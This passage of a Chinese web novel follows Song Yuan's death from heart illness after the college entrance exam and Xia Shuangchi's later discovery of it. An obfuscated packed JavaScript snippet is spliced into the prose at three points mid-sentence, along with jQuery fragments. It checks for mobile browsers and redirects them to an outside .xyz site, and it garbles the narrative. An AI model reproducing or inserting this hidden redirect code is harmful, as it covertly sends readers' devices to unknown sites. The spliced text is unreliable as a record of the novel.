原来……夏霜迟在不知道什么时候，早已经不再是原来那个需要他去鼓励才敢迈步的女孩，她足够漂亮，足够耀眼，她……才是天上的星星。 宋远垂下眼眸，看不出里面的情绪。夜风浮动他的发梢，那黑的纯粹的头发在夜色的灯光下竟然也流露出几分温柔。 他默默起身，像一棵孤独的树。 晚会尚未结束，夏霜迟在和三班合影完之后，她还没来得及擦去额头的细汗，便匆忙走到何潇跟前，“宋远呢？” 何潇挠了挠头，看着一脸焦急的夏霜迟，“好像刚走了。” 走了？ 夏霜迟心里忽然像是缺了一块，几乎是下意识地就提着裙摆，向着校门外那个小巷子跑去。 一个拐角，昏暗的路灯下，宋远的背影格外单薄，他的步伐缓缓，似乎缺少了少年意气。 忽然，他的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098210|179199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后传来一声急促的声音—— “宋远——” 他的背影瞬间僵住，停顿了几秒，才缓缓转过身，昏暗的灯光下，映出他没有血色的唇瓣，和那张过分苍白的脸。 皱起的眉眼似乎在看见眼前人的一瞬间舒缓—— 眼前的女孩提着一袭红裙，向他奔来。 汗水浸湿了她额前刘海，精致中又显得又一丝随意，碎发贴在脖颈，像一个洋娃娃。 微弱昏黄的灯光下，宋远的心跳地厉害，每一次跳动，都给他带来难掩的痛苦。 仿佛一个重物，一下又一下地撞在他的伤口处。 夏霜迟在向他飞奔而来，浓烈，娇艳，像是一朵盛放的玫瑰。 “宋远……你、你……” 夏霜迟的红裙像是一团燃烧的火焰，她终于停下来，大口喘着气，顿了好几秒，才开口道:“你怎么走得这么急，班里的合照都没拍……” 语气里带点委屈。 夏霜迟看着他，心似乎有些沉重，“你脸色怎么这么差……到底怎么了？” 宋远摇了摇头，声音低哑，“我没事。” 夏霜迟叹气一声，又小声开口:“我今天，是不是，唱得不好啊？” 宋远一怔，他向前走了两步，带着一丝郑重与虔诚，轻轻把夏霜迟耳边那一缕被风吹散的碎发撩到她的耳后，温声道:“你唱的……特别好。” 他说的每一个字都格外郑重。 夏霜迟眼睛瞬间亮晶晶的，似乎有一整条银河，她抬起头，望进他深谭般的眼眸，一字一顿道:“你知道吗，这首歌，是唱给你听的。” 唱给他听的…… 宋远整个人都僵住了，他的血液似乎瞬间凝固，又再下一秒疯狂倒流，让他眼前一阵发黑。 他的嘴唇动了动，似乎想说什么，却翕张几下，只是喃喃道:“谢谢你。” “如果，你也听见星星的歌，不要哭泣，不要再受折磨。”夏霜迟认真地看着他，诚恳地、缓缓地说出了这句话，“宋远，我希望你能听见，我希望……你好好的。” 这几句话，似乎一瞬间冲垮了宋远，他努力维持的平静消之于虚无。 宋远垂下眼睫，看不清其中情绪，喉结上下滚动，似乎要说些什么。 可是良久过后，那堵在嗓子眼的几句话，也只是化为三个字，宋远动了动嘴唇，“谢谢你。” 声音低哑，似乎承载着些无法言说的痛苦。 他转过身，决然又坚定。路灯把他的影子拉的细长，也将夏霜迟的心意，隔在了心墙之外。 “宋远——”夏霜迟再次响起。 宋远没有回头，甚至脚步更快了些。 “高考加油！”她的声音伴着微凉的晚风，掠过宋远的耳畔，带着一丝青春的迷茫，却又坚定无比，她说，“我们——来日再见！” 来日再见…… 若有来日，定会相见。 好…… 他的承诺淹没在风声里，宋远不知道夏霜迟她听没听见。 夏霜迟，你的未来，繁花似锦。 只是……不必再有我。 21. 结束 高考结束铃声响起来的那一刹那。 夏霜迟的世界一片寂静。 甚至可以说，没有任何感觉。想象里的绝顶的兴奋和无法控制的快乐似乎都没有来。 她默默收拾好自己的文具，拿起文件袋，行尸走肉般随着人流走出考场。 考场外迸发出一阵又一阵的欢呼声，几乎要把夏霜迟淹没。 学校大门口处，到处是翘首以盼的家长，满目鲜花和向日葵。 夏霜迟无声地叹了口气，缩小身形，从小道里艰难地挤了出去。 耀眼的阳光肆意照在她的身上，炙烤着她的皮肤。 夏霜迟思绪终于缓缓飞回，她停下脚步，眯起眼睛，感受着充斥耳畔的喧嚣，却仍有一种强烈的不真实感。 考完了? 她的高三结束了。 她十八岁了。 “诶诶，挤死我了，干什么啊这是！”身后传来何潇的声音。 已经走到了人相对较少的地方，夏霜迟木讷地回头，看见何潇被一群人挤着走了出来，他骨架较大，自然不比她轻松。 远远看见夏霜迟，何潇立马呲个大牙笑，朝这边小跑过来，“小迟，你也刚刚出来?唉你看着门口这架势，拖家带口来观光了。” “建议高考只能一个家长来接，这门口这么多人，考生都挤不出来了。”宋远不满地回头看了一眼身后，依旧人山人海，他撇了撇嘴。 夏霜迟扯了扯嘴角，作为回应。 和他并排走进小巷，她此刻心里却是思绪万千，可她在想什么，她自己也不知道。 心里好像塞了一块湿棉花，很沉重。 何潇挑了挑眉，见她神色不对，只是叹了口气，拍了拍她的肩膀，“小迟，没事儿，考完了就好好休息，我从那条路走，你先回吧。” 夏霜迟点了点头，正要离开。 何潇像是想起了什么一样，忽然开口提醒道，“咱们班过几天晚上有个散伙饭，去吃烧烤，老香了，你记得回去看群消息昂。” “哦，好。”夏霜迟低声应道。 夜里，不似白天那般燥热。 逼仄的出租屋里，没有一丝活人的气息。 宋远握着着笔坐在桌前，眼前那张白纸，写着刺眼的“遗书”二字。 手里的笔抖了几下，他的心脏忽然刺痛，像是被一把利剑刺穿。宋远下意识地去拿桌角的药，却几乎是一瞬间，眼前一片漆黑，前伸的手指失去了力量，在离那瓶药十厘米的地方停顿一秒，骤然脱力。 疼！他只觉得疼！ 可着疼痛似乎也就像是施舍一般，又在一瞬间消失，他蓦然失去了知觉，身体沉重地砸向地面。 “哐当——” 玻璃瓶子打碎在地上，发出清脆的声音。 门被猛得推开，呼莉的尖叫声似乎让他恢复了一丝清醒，“宋远！宋远！你怎么了！你怎么了？！” 这声音尖锐又惊恐。 他此刻微微眯着眼睛，冷汗频出，浸湿了后背，浑身上下一点力气都没有了。 呼莉下意识地蹲下身，费力地扶着他到了床上。 呼莉紧紧握着他的手，大声喊着他的名字，声音抖地不像样子，“宋远！宋远你醒醒，你先躺下，妈现在打电话叫120！你撑住！” 她手忙脚乱地去摸口袋里面的手机。 宋远嘴唇颤抖，脸色苍白，闻言用尽力气握住了呼莉的手腕。 死亡的预告来得太急切，几乎不给他一丝的喘息机会。 既然一定要死，不如让他死个痛快。 不必浪费一分钱，让活着的人……喘口气吧。 他虚弱地摇摇头，似乎用尽了全身力气，苍白的嘴唇上下碰碰，只吐出几个字:“不……” 呼莉霎时间愣住了。 她看着冷汗直流，面容扭曲的宋远，一瞬间仿佛看见了多年前的以同样方式病故的宋听寒。 那时的惊恐似乎如同毒蛇一样吐出芯子，要把她整个人吞没。 呼莉的眼泪一瞬间如瀑布般倾泻而出，她紧紧握着宋远的手。 是不是再紧一些，就能永远抓住他。 呼莉语气断断续续，带着气音，有些语无伦次，“你，你别胡说，妈带你去医院，妈有钱，你……” “AD钙……”宋远眉头紧皱，他痛苦地摇摇头，“最后的、最后愿望……” 他的声音似乎是从牙缝里挤进来，一字一顿，每一个字都带着极大的力气。 他不想呼莉眼睁睁看着他死去，这样对她，太过残忍。 “好……好，妈这就给你买，你等妈回来，等着！”呼莉踉跄几步，几乎是手脚并用，冲出门去，消失在了夜色。 夜色深沉，窗户模糊一片，唯有几颗星星在天空闪烁，显得如此孤独。 宋远紧皱着眉头，痛苦地闭上眼睛，他的心脏好像被一把剑猛地刺穿，留下来一个可怖的血洞。 每一次的跳动，都是在刀刃上摩擦，此刻，他只想快点死。 快一点，快一点。 让他不必再受此折磨，让他真正地能变成星星。 老人说，人在将死之前，会走马灯。 这一生见过什么，听过什么，都一一在眼前浮现。 宋远喉咙发出一声闷哼，心想，原来走马灯……是真的。 黑暗中，恍若一丝光亮透过，他的眼睫毛疯狂抖动，无时无刻不在展示这压抑不住的痛苦。 疼…… 一片漆黑的眼前却忽然多了几分清明，那些曾经的影子、声音，不受控制地铺开、变换。 “忘了告诉你，我叫夏霜迟，你呢？” “一起……一起走吧！” “你看，天上有星星诶！” “你知道吗？在我眼里，你就像星星一样闪亮。” “你要追上我，好吗？” “我希望你听见，我希望你……好好的。” “宋远——我们——来日再见！” 月色，晚风，星星，夏霜迟…… 许多画面一闪而过，宋远极力睁开眼睛，却发现那些如同雾气一般散去，他抓不住，带不走。 那股疼痛似乎渐渐消失了，心跳声也在渐渐虚弱，宋远强迫自己耗费了全部的力量，才勉强睁开眼睛。 此刻，窗外骤然划过一道闪亮的流星，拖着长长地尾巴，在深蓝的夜幕中格外显眼。 那流星的确异常绚烂，却刺得他眼睛生疼。 宋远无力地闭上眼睛，忽然间卸了力量。 夏霜迟，你曾经说，你从没见过流星， 你……快抬起头看看，是流星，是那么耀眼的流星，它就在天空。 所以……不要再遗憾了，好不好。 凌晨十二点，星星陨落了。 悄无声息。 没惊醒任何人。 留下的晚风带走了撕心裂肺的哭喊和最后一缕的气息。 — 夏风吹拂。 整个三班又聚在了一起，地点在市中心一个烧烤大排档，没有老师，只有学生。 烧烤店老板匆匆忙忙端出一盘又一盘的烤肉，孜辣椒撒在上面，滋滋冒油，整个大排档都是烤肉的香味。 班里的男同学三五成群，高兴地在比划着什么，嬉笑怒骂，挥霍着高考结束后的无处安放的精力。 夏霜迟不喜欢吃这些太油的东西，一个人默默坐在角落里，扒拉着自己的手机。 手机屏幕的光线映在她的脸上，夏霜迟的眼底有些茫然。 高三整整一年没有使用手机进行娱乐活动，猛地放松下来，她一时间不知道都不知道该拿手机干什么。 刷视频?似乎没什么意思。 看小说?她没有想看的。 她总觉得，自己身边似乎缺了点什么，一时间让她不习惯。 可，具体是什么呢……夏霜迟又说不上来。 夜风拂过，天上星星闪现，仿佛在眨眼睛。夏霜迟喃喃道:难道是……宋远? 宋远没来。 他为什么没有来……家里有什么事情吗？ 要不要，给他打个电话?问问情况? “叮铃铃玲玲……”她的手机铃声忽然响起，打断了她的思绪。 夏霜迟垂眸看去，纤细的手指缓缓接通电话，将手机放在了耳边。 “喂，姐，我考完了结束了，我妈说你高考完了是吧？”对面的男生声音稚嫩又青涩。 “嗯。”夏霜迟轻声应和着。 “唉姐，我真是服了我爸妈了，说好之后就让我这个暑假好好玩的。结果呢，又让我天天学习，我真不行了。”抱怨声传来，男孩顿了顿似乎是想到了什么，“对了，你在外面吗？” “嗯，怎么了？”夏霜迟反问，声音淡淡，没什么情绪。 “你在外面可就好了，我得找个理由溜出去，你给我发个定位啊姐。”对面似乎想到了什么格外兴奋，兴致冲冲地挂了电话。 夏霜迟没什么反应，她放下手机，看着天空，心底莫名有些惆怅，算起来，已经很久很久没有见到宋远了吧。 不是说好，明天见吗？今天怎么不来。 “小迟啊，你怎么不吃东西?”何潇提着两瓶果啤坐到她的对面，用开瓶器打开了瓶盖，把一整瓶推到了夏霜迟面前。 夏霜迟乖乖接过，象征性地抿了一口，她叹口气，“没什么，我今天胃口不好，不太想吃这些。” 何潇坐在她的对面，欲言又止，“小迟，你是不是在等……宋远啊？” 夏霜迟一愣，她下意识问道:“他怎么了？” 何潇摇摇头，似乎在犹豫什么，“我听乌秒说，他今天应该是……不会来了。” 不会来了…… 夏霜迟忽然有些怅然所失，她摇了摇头，“我，没在等他。” “姐！” 路边一辆出租车停下，一个少年关上车门便向这边跑了过来，似乎带着风。 “姐……呼呼……”少年喘了两口，站在了夏霜迟面前，他手上还拿着几本书，“我给你送书来了，给。” “诶？这是?”何潇挑眉问道。 “我弟弟。”夏霜迟淡道。 “怪不得呢，长得还挺帅的。”何潇应和，“要一起喝一杯吗弟弟?” “不用了不用了，我是偷偷溜出来的，我和朋友约好了，去ktv唱歌去。”少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102482|179199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年摆了摆手，一溜烟地逃窜离开了，“拜拜姐，拜拜哥！” 几本书被放在了小桌子上，《诗词精选》这几个大字格外明显。 几乎是一瞬间，夏霜迟的心便被提了起来。 心里擂鼓不止。 匆忙的高三生活，让她几乎忘记了诗词精选里还放着一封没开封的情书。 她目露急切，立刻拿起那本《诗词精选》，翻开几页，果然找见了那封粉色的信。 时隔了整整两年，她终于再次拿到了这封信。 不过她猜的没错，她的表弟本就不是学习的料，两年时间里，这本书连翻都没翻开过。 她紧紧捏着手上这封信，神情专注。 眼前是那个夏天，篮球赛后，宋远微微靠在墙上，目光低沉的模样；是他带着一丝促狭，说出“这可不是乖乖女的作风”的模样；是从口袋里拿出这封皱巴巴的信，下颌线紧绷的模样…… 夏霜迟深吸一口气，打开了这过期的信封。 致夏霜迟: 亲爱的夏霜迟， 我喜欢你。 你一定觉得不可思议， 可是爱情就是这样， 不知何处起，又不知何处落。 …… 伴着昏暗的灯光，夏霜迟一个字一个扫过，似乎一个字都不能放过，她的眉头越皱越紧，手指微微颤抖。 目光移动的速度越来越快，带着越来越浓的不可思议。 翻到下一页，夏霜迟攸然松了口气，浑身的力气都被抽走，嘴角勾出一种自嘲般的微笑，难看至极。 她的指尖发凉，那两张纸透过她的指缝，轻轻地滑落在了桌面上。 落在桌面上的黑字格外讽刺—— 哈哈，被骗到了吧！ 我就知道你会看！ 这是我和陈昊他们打赌输了的大冒险！ 怎么样，乖乖女，收到情书的感觉是不是很刺激？ 别生气嘛！开个玩笑！ 祝你早日找到真命天子！ ——恶作剧者联盟 对面的何潇一怔，看着眼前失魂落魄的少女，伸出手在她空洞的双眼前晃了晃，“小迟，你怎么了？” “没事。”夏霜迟木讷地回应，声音轻得像叹息，“你先走吧。” 天上星星闪烁，平日里有多么舒心，此刻就有多么格外刺眼。 夏霜迟的手无力地耷拉在桌面上，此刻的绝望像是浪潮一样袭来。 她抬起头，看着深邃的碧蓝的天空—— 那些平日里最是耀眼的星星，就在今夜，在这张纸上，毫不留情地灼伤了她。 原来一切都只是笑话。 她以为的一切美好，一切幸福，都不是什么双向奔赴。 原来他们之间，不是两情相悦，而是她的一厢情愿罢了。 真是可笑，是她自以为是。 曾经那些温馨又甜蜜的画面又在夏霜迟的眼前浮现，挥之不去。 月亮桥上，她环住他的腰，听着他那独特的心跳…… 步行街上，两人共听的一首意义不凡的音乐，音符流淌在你我之间…… 月夜下，自行车和晚风带来的肆意和自由，仿佛还在昨日…… 原来从始至终，宋远根本就不喜欢她，是她自己上赶着，天真地要跟他走下去，要拉着他发什么誓要考上同一所大学，要让他追上她，多么可笑，多么荒唐。 就连他曾经告诉自己的，他们小时候见过这件事，如今在夏霜迟眼里也彻底褪了色。 就因为她那一句无心的“你爸爸不要你了”，宋远记了九年? 他的到来，或许不过就是为了听她说一句“对不起”，是吗？ 宋远，你告诉我，是吗？ 只可惜，如今的她她问不出口，更没资格问。 或许在宋远眼里，她只是一个蠢到极致又无理取闹的小女孩。 胆小怯懦，又不懂得如何处理问题，宋远怎么可能喜欢她。 “妈妈！看，有流星！” 夏霜迟骤然被一个清脆的声音吸引，她下意识抬起头，正巧，一颗耀眼的流星划过天际，拖出了一道长长地尾巴。 那么美，那么摄人心魂，几乎在一瞬间夺走了夏霜迟的呼吸。 她的心脏忽然抽搐一下，耳边却是那日在天台上，宋远将她的碎发别在耳后，温柔缱绻的声音—— “听老人说，地上去世一个人，天上就会掉落一颗星。” 她的心莫名慌乱难受，夏霜迟捂住自己的胸口，头一次这般想要立刻听到宋远的声音，想要看见宋远，想要一个解释。 缓了好久，夏霜迟才伸出手抹去的脸颊上的泪水，她低下头喃喃道:“怎么哭了呢……” 不知何时，面对满天繁星，她竟控制不住地泪流满面。 “您好，您拨打的电话无法接通，请稍候再拨。” “您好，您拨打的电话无法接通，请稍候再拨。” …… 宋远…… 宋远，你快接电话，给我解释啊，你不是最害怕我哭了吗？ 为什么，为什么现在却消失了…… 宋远，你到底在哪…… 22. 再见 时光像细沙般流走。 不知不觉间，已经来到了四年后。 答辩结束，夏霜迟早早地拖着行李箱，坐上了返回西安的高铁。 高铁上，夏霜迟坐在靠窗的位置，侧目看去—— 一路的风景，绿意盎然。 山川湖泊在她眼前飞速倒退，模糊成了一副崭新的画卷。 她也仿佛跟着列车在时空中逆行，回到了四年前。 四年前，她带着对新生活的期待和担忧，独自一人坐高铁，来到了一个陌生的城市，过上陌生的生活。 可整整四年，她没有回过家，却并不后悔。 大学，才是她真正成长的阶段，是她真正挣脱枷锁的日子。 她一手抓学业，一手抓兴趣，在大三的时候就出版了一本诗集，拥有了好几万的粉丝和不少人的支持，可以算得上小有名气。 提着厚重的行李箱，站在出口处，她抬起头，眯着眼有些茫然地看着指示牌。 手机却在这个时候震动起来。 “星老师，咱们的诗集样本已经给您寄过去了，记得查收一下。”对面是她的编辑。 她的笔名，单字一个星。 对她而言，这个字已然承载了太多，光是从字面上看，就足够惊艳。 这一个字，意义太特殊。 “嗯，有劳。”夏霜迟低声应和，拉着行李箱走出客运站。 外面阳光正好，她仰起头，眯了眯眼睛，去适应这明亮的阳光。 西安，好久不见。 和以前一样，她一个人打了车，一个人走上回家的路，一个人听着耳边孤独的音乐。 这么多年，她早已习惯。 “叮铃铃铃——”夏霜迟看见屏幕上跳动的几个字，没有犹豫地接通了电话。 “小迟！你应该放假了吧？” 林翩月的声音从里面传出，元气十足，带着些许期待，丝毫不像是半年没有联系过的模样，“我前几天就回国啦，你什么时候回家，我去接你？” 夏霜迟摇了摇头，心底涌上一股难言的感动，声音却带着疲惫，“谢谢翩月，我已经到家了。” “啊？我还以为你们学校还没放假呢……”林翩月有些懊恼。 “嗯，我们专业答辩地早，毕业了也就没什么事情，就早早回家。”夏霜迟应和着，声音淡淡，含着暖意。 “行吧，我可是四年没见你了，你回来就快点来我家公司，咱们两个好好聊聊！”林翩月声音张扬，隔着屏幕，夏霜迟都能想得到她眉飞色舞的模样。 夏霜迟勾起唇角，声音带着浅淡笑意，温声应道:“好。” 拥有一个不曾走散的朋友，真好。 她望向出租车的窗外，那些熟悉又陌生的景色飞逝，她看不清、抓不住。 — 会议室，两人面对面而坐。 寂静无声。 良久，一个人推了推眼镜，放下手里的文件，神色严肃，“何总，如果您想和我们达成合作，这点诚意可不够。” “放眼整个国内，质量标准我们何盛集团都是数一数二，小乌总可是哪里觉得不合适？还请具体说说，是价格问题，还是交付期限不合适?”何潇看着面无表情的乌秒，斟酌开口。 “何总……” …… 激烈的商讨过后，合作伙伴谈判愉快地落下帷幕。 临走前，何潇伸出手，用力握了握乌秒的手。 几秒后，他刚想转身，身后却传来了乌秒的声音，没什么情绪，“两天后，我将会代替我父亲去林海集团谈合作，何总，不如同行?” 平静又带着一丝不易察觉的波澜，似乎在暗示什么。 林海集团…… 林翩月父亲的公司。 何潇果然一怔，他身形一顿，眼底带着一丝不解，回头看着乌秒。 乌秒眼镜下是一双理性又带点别的意味的眸子，他嘴角勾起浅淡笑意，“听闻林海集体千金近期回国，在学习如何协助其父亲做事情。” “既然大家都是同学，不如一起去见见?” 他的话瞬间让何潇僵住了。 何潇深邃的眼底有一团小火苗窜了出来，开始熊熊燃烧。 他明白乌秒的意思，林翩月回国，而他是那个没有名分，没有资格，却被孤零零留下的……同桌。 时隔四年，当年的青涩的爱恨纠缠他早已不在意，可他还是想问清楚，想给四年前的自己一个答案。 他走进几步，拍了拍乌秒的胳膊，眼神郑重，下颌线紧绷，一字一顿道:“谢了，小乌总。” 乌秒诚挚的看向他，“工作上是小乌总，生活上，我永远是你的朋友。” 永远是你的朋友…… 何潇怔怔地看着乌秒，仿佛回到——肆意潇洒的少年时。 — 几天后。 林海集团。 手机屏幕上显示的时间是下午五点，夏霜迟踏进这家公司，她按着前台指引，匆匆向着林翩月办公室走去，身后却传来几句低语。 “那个女人是不是又来了？” “情债吧……啧啧……” “好像跟她死去的儿子有关系，具体咱们也不清楚……” 夏霜迟无心在意这些，她终于在约定的时间赶到了林翩月的办公室。 “哒哒哒。”她敲响厚实的实木门。 “进。” 夏霜迟深吸一口气，推开门后，眼前的景象让夏霜迟微微一怔。 林翩月慵懒地陷在在宽大的米白色沙发里，正看着一本杂志。波浪卷长发披散在肩头，一袭精致的白色收腰裙衬得她的气质卓然。 仅仅几年时间，就让这个姑娘把天天穿运动服的习惯改了过来，蜕变成了眼前优雅干练的模样。 听见推门的声音，在林翩月抬起头的一瞬间，她的眼神里露出惊喜。 她立刻起身，快步上前热切拉着夏霜迟的手，上下打量着夏霜迟。 她惊诧地开口:“小迟，天呐！你披着头发真好看。” “是吗……”夏霜迟应着，和林翩月一起坐在了沙发上。 “你这件衣服好好看，鹅黄色小碎花裙，好温柔的感觉诶！”林翩月拉着她的手，一脸认真，“小迟，你不一样了。” 不一样了…… 这几个字在她的心里荡起一圈涟漪。 夏霜迟摇了摇头，笑容温婉:“四年时间，我们都长大了，都变得不一样了。” 他们不似高中那般青涩，也不会再为一场雨、一场风而彻夜难眠。 林翩月却是笑嘻嘻地拍了拍她的手，“啧，你这小大人模样。小迟，你太知性了，我现在都得叫你一声姐！” 夏霜迟没忍住笑了起来。 在林翩月面前，她永远是那个被轻易逗乐，心思细腻的女高中生，不谙世事，忧愁善感。 “唉……你们都长大了，怎么就我一个人还在原地打转呢……” 林翩月泄了气，随手抓起茶几上的财经杂志卷成筒，站起身一手叉腰，看着窗外的高楼，“我这四年，说学了吧，好像什么也没学精，说没学吧，又混了个文凭。” 声音里带着迷茫。 “这下回国了，又被老爸按头学管理。我根本不想管他的公司，现在连杯喝咖啡的自由都没了，本来咱们两个现在应该出去玩的。结果……我连办公室都出不去。” 她长叹一声，烦躁地转了个圈。 夏霜迟站起身，拉着她的手，恳切地说道:“翩月，想做什么就去做，这才是青春该有的颜色啊。” “对！”林翩月像是重新被鼓舞了斗志，她握紧拳头，气势汹汹地说:“从今天开始，我要夺回自己的一切，提前下班一小时！做自己想做的事！” “欸?欸，翩月，你冷静，冷静呀，我……我刚刚的话没那个意思……” 夏霜迟哭笑不得，被她半拉半拽地拉出了办公室。 “走，我现在去我爸办公室，我要亲口给他说明白，我对他的商业帝国一点都不感兴趣！” 刚下一层楼，拐角处，空气骤然凝固了。 八目相对。 时间被按了暂停键。 林翩月和何潇，隔着不过一米的距离。 两个人的目光在空气中无声碰撞，窗外明媚的天光似乎也暗沉了几分。 此刻空气都让人窒息。 没有人开口说话，也没有人先行让开。只有死寂在蔓延，仿佛这是一场葬礼，在祭奠死去的青春。 林翩月怔怔地看着眼前的何潇。 时间太久……四年，足以让她忘记了当年的事情，忘记当年的恩怨，也忘记出国这件事的导火索仅仅只是一封没拆开的情书。 那时候她太青涩，太骄傲。 如今，她却再也做不出这样疯狂的事情，只有心脏能悄无声息地在胸腔疯狂跳动，不惊扰任何人。 砰、砰、砰。 什么才是青春呢…… 或许青春正是曾经做出的那些毫无理智的、疯狂的事情吧。 那些疯狂的碎片，能留给未来去回忆，去证明自己曾经热烈地活过。 夏霜迟的目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她随手带上门，目光空洞地掠过门口众人，神色恹恹，径直就要走出去。 林翩月却是瞬间变了脸色，她的目光落在女人脖子上暧昧的痕迹，伸出手一把拦住那个女人的去路，声音愤怒地颤抖:“呼莉，解释吧，你又来干什么？！” 语气带着压抑不住地怒意和厌恶。 对面的女人却是神色平常，眼皮都没抬一下，她漠然地拂开林翩月的手。 面不改色，语气冷淡，“拿钱。你爸欠的。” “欠的?”林翩月嗤笑一声，扬起手，毫无征兆地、狠狠给了女人一巴掌，“好一个你的欠款，你拿什么赚的钱？！” 夏霜迟被这阵势，吓得一动不敢动。 她打量着眼前的女人，总觉得“呼莉”这个名字她在哪里听过，可是却又想不起来。 “我说过了，你父亲欠我了五万块钱，我每年都会来取。”呼莉的发丝有些凌乱，脸颊一片火辣，她歪过头，嘴角勾出一个瘆人的笑意，“你爸欠我的，拿你的命也还不起。如今……我还要这钱干什么呢？可是，欠我就是得还，那是一条命啊！是我儿子宋远的一条命啊！” “啪嗒。”夏霜迟手上的东西掉在了地上，发出清脆的响声。 “疯疯癫癫的，不知道你在说什么？！我说了，你赶紧滚！再让我见到你，你……” 林翩月说了什么，骂了什么，夏霜迟都没有听进。 天地间好像忽然没了声音，她怔怔看着呼莉站直身子，敛去瘆人的笑意，面无表情地踩着高跟鞋，离他们而去。 唯一听到的声音，是“哒，哒，哒……” 呼莉的高跟鞋在大理石地板上发出清脆的响声。 每一声都像是砸在夏霜迟的心口，她眼睛瞬间通红，带着一丝的不可置信，死死盯着着呼莉远去的背影。 宋远…… 她是不是刚刚说了宋远…… 宋远怎么了？死了？！ 她不信，是不是她听错了！ 她……她、她不信！ 一定是……认错人了！ 对！一定……一定是同名！ 宋远答应过的，来日再见……他说过的！ 身边三个人表情各异，夏霜迟几乎是下意识地要去追上那个身影，慌乱至极。 她……要问个明白！这、这不可能！